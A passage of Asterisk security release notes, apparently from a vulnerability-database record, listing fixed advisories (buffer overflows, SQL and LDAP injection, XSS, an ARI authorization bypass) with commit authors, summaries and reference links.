Asterisk \napp_sms.c copies externally controlled SMS lengths into fixed in-struct buffers\n - [GHSA-qf8j-jp7h-c5hx](https://github.com/asterisk/asterisk/security/advisories/GHSA-qf8j-jp7h-c5hx): Out-of-Bounds \nWrite in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch\n - [GHSA-r6c2-hwc2-j4mp](https://github.com/asterisk/asterisk/security/advisories/GHSA-r6c2-hwc2-j4mp): LDAP Filter \nInjection in res_config_ldap via SIP Username (Unauthenticated Information Disclosure)\n - [GHSA-vfhr-r9x9-c687](https://github.com/asterisk/asterisk/security/advisories/GHSA-vfhr-r9x9-c687): Possible RED \nT.140 Heap Buffer Overflow\n - [GHSA-vrfp-mg3q-3959](https://github.com/asterisk/asterisk/security/advisories/GHSA-vrfp-mg3q-3959): ARI \nsetChannelVar bypasses live_dangerously and permits FILE() writes\n - [GHSA-wcvv-g26m-wx5c](https://github.com/asterisk/asterisk/security/advisories/GHSA-wcvv-g26m-wx5c): ARI \nREST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE\n - [GHSA-x348-j6c9-77f3](https://github.com/asterisk/asterisk/security/advisories/GHSA-x348-j6c9-77f3): Stack Buffer \nOverflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer\n - [GHSA-xgj6-2gc5-5x9c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xgj6-2gc5-5x9c): ast_loggrabber \nexecutes python script in world writable directory(`/tmp`) leading to potential privilege escalation And RCE\n\n### User Notes:\n\n\n### Upgrade Notes:\n\n\n### Developer Notes:\n\n- #### ARI: Make ARI applications respect live_dangerously.\n ARI applications can no longer call \"dangerous\" dialplan\n functions like DB(), FILE(), SHELL(), CURL(), STAT(), etc. without\n enabling \"live_dangerously\" in asterisk.conf.\n Resolves: #GHSA-vrfp-mg3q-3959\n\n\n### Commit Authors:\n\n- George Joseph: (6)\n- Mike Bradeen: (3)\n- Milan Kyselica: (7)\n- Pengpeng Hou: (1)\n- Roberto Paleari: (1)\n- ThatTotallyRealMyth: (1)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n - !GHSA-3g56-cgrh-95p5: chan_unistim DIALPAGE digit handling can overflow phone_number and crash Asterisk\n - !GHSA-3rhj-hhw7-m6fw: NULL Pointer Dereference in HTTP AMI Digest Authentication\n - !GHSA-4pgv-j3mr-3rcp: Reflected XSS in Phone Provisioning HTTP Error Pages\n - !GHSA-589g-qgf8-m6mx: Stack buffer overflow in MWI NOTIFY Message-Account parsing\n - !GHSA-746q-794h-cc7f: Out-of-Bounds Read in Q.931 Information Element Parser (H.323 Addon)\n - !GHSA-8jhw-m2hg-vp3h: Heap Buffer Overflow in OGG/Speex File Playback (format_ogg_speex)\n - !GHSA-8jw3-ccr9-xrmf: Buffer over-read in Asterisk PJSIP MWI body parser\n - !GHSA-g8q2-p36q-94f6: Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP \nprocessing\n - !GHSA-h5hv-jmgj-92q2: CVE-2022-37325 fix is absent from current chan_ooh323 Q.931 party-number parser\n - !GHSA-j2mm-57pq-jh94: Possible RED T.140 Generation Accumulation OOB Write\n - !GHSA-mxgm-8c6f-5p8f: Stack buffer overflow in res_xmpp XMPP namespace prefix handling\n - !GHSA-ph27-3m5q-mj5m: SQL Injection in cel_pgsql and cel_tds via CELGenUserEvent eventtype Field\n - !GHSA-q9fr-m7g8-6ph5: Asterisk app_sms.c copies externally controlled SMS lengths into fixed in-struct buffers\n - !GHSA-qf8j-jp7h-c5hx: Out-of-Bounds Write in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch\n - !GHSA-r6c2-hwc2-j4mp: LDAP Filter Injection in res_config_ldap via SIP Username (Unauthenticated Information \nDisclosure)\n - !GHSA-vfhr-r9x9-c687: Possible RED T.140 Heap Buffer Overflow\n - !GHSA-vrfp-mg3q-3959: ARI setChannelVar bypasses live_dangerously and permits FILE() writes\n - !GHSA-wcvv-g26m-wx5c: ARI REST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE\n - !GHSA-x348-j6c9-77f3: Stack Buffer Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer\n - !GHSA-xgj6-2gc5-5x9c: ast_loggrabber executes python script in world writable directory(`/tmp`) leading to \npotential privilege escalation And RCE\n\n### Commits By Author:\n\n- #### George Joseph (6):\n - chan_unistim.c: Prevent overrun of phone_number field.\n - res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n - pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n - ooh323c/ooq931.c: Ensure ooQ931Decode doesn\u0027t run out-of-bounds.\n - ARI: Make ARI applications respect live_dangerously.\n - res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.\n\n- #### Mike Bradeen (3):\n - ooh323c: not checking for IE minimum length\n - manager: Use remote address in user error logging\n - ooh323: Prevent potential buffer overflow in trace logging\n\n- #### Milan Kyselica (7):\n - res_xmpp: Fix stack buffer overflow in namespace prefix handling\n - res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser\n - res_config_ldap: Escape LDAP filter values per RFC 4515\n - cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection\n - http: Escape error page text to prevent reflected XSS\n - codec_codec2: Only process complete Codec2 frames in decoder\n - format_ogg_speex: Add bounds check to prevent heap buffer overflow\n\n- #### Pengpeng Hou (1):\n - app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers\n\n- #### Roberto Paleari (1):\n - res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser\n\n- #### ThatTotallyRealMyth (1):\n - ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n\n### Commit List:\n\n- ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n- chan_unistim.c: Prevent overrun of phone_number field.\n- ooh323c: not checking for IE minimum length\n- res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n- pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n- ooh323c/ooq931.c: Ensure ooQ931Decode doesn\u0027t run out-of-bounds.\n- ARI: Make ARI applications respect live_dangerously.\n- res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.\n- res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser\n- manager: Use remote address in user error logging\n- ooh323: Prevent potential buffer overflow in trace logging\n- app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers\n- res_xmpp: Fix stack buffer overflow in namespace prefix handling\n- res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser\n- res_config_ldap: Escape LDAP filter values per RFC 4515\n- cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection\n- http: Escape error page text to prevent reflected XSS\n- codec_codec2: Only process complete Codec2 frames in decoder\n- format_ogg_speex: Add bounds check to prevent heap buffer overflow\n\n### Commit Details:\n\n#### ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n Author: ThatTotallyRealMyth\n Date: 2026-03-19\n\n The ast_tsconvert.py script called by ast_loggrabber is now installed in a\n temporary directory that isn\u0027t world readable or writable.\n\n Resolves: #GHSA-xgj6-2gc5-5x9c\n\n#### chan_unistim.c: Prevent overrun of phone_number field.\n Author: George Joseph\n Date: 2026-06-15\n\n Add a check to key_dial_page() to ensure that dialed digits won\u0027t overrun\n the phone_number field.\n\n Resolves: #GHSA-3g56-cgrh-95p5\n\n#### ooh323c: not checking for IE minimum length\n Author: Mike Bradeen\n Date: 2022-06-06\n\n When decoding q.931 encoded calling/called number\n now checking for length being less than minimum required.\n\n Resolves: #GHSA-h5hv-jmgj-92q2\n\n#### res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n Author: George Joseph\n Date: 2026-06-12\n\n The REST over WebSocket path now properly prevents non-GET methods from\n being executed on inbound WebSockets.\n\n * The query parameters from the original incoming GET request that caused the\n upgrade to WebSocket are now passed to all REST requests that come from the\n client. This ensures that if the client authenticated with a read-only\n userid using the \"api_key\" query_string parameter, REST requests coming\n in over the WebSocket will only be able to execute GETs on resources.\n The HTTP headers were already passed to the REST requests so if the\n client had authenticated via an \"Authorization\" it was properly handled.\n\n * New tests have been added to test_ari.c to check that read-only users\n are properly denied access to resources using non-GET methods. Several\n memory leaks were also squashed.\n\n Resolves: #GHSA-wcvv-g26m-wx5c\n\n#### pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n Author: George Joseph\n Date: 2026-06-10\n\n The filter_on_tx_message() function was using pj_strassign() to save the pointer\n of the pjproject transport local address to a local pj_str_t variable. That\n variable was ultimately used to set the Contact header\u0027s uri-\u003ehost and the SDP\n connection attribute\u0027s addres"
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"references": [
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"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/6"
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"url": "https://seclists.org/fulldisclosure/2026/Jul/6"
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{
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"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-vrfp-mg3q-3959"
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{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-wcvv-g26m-wx5c"
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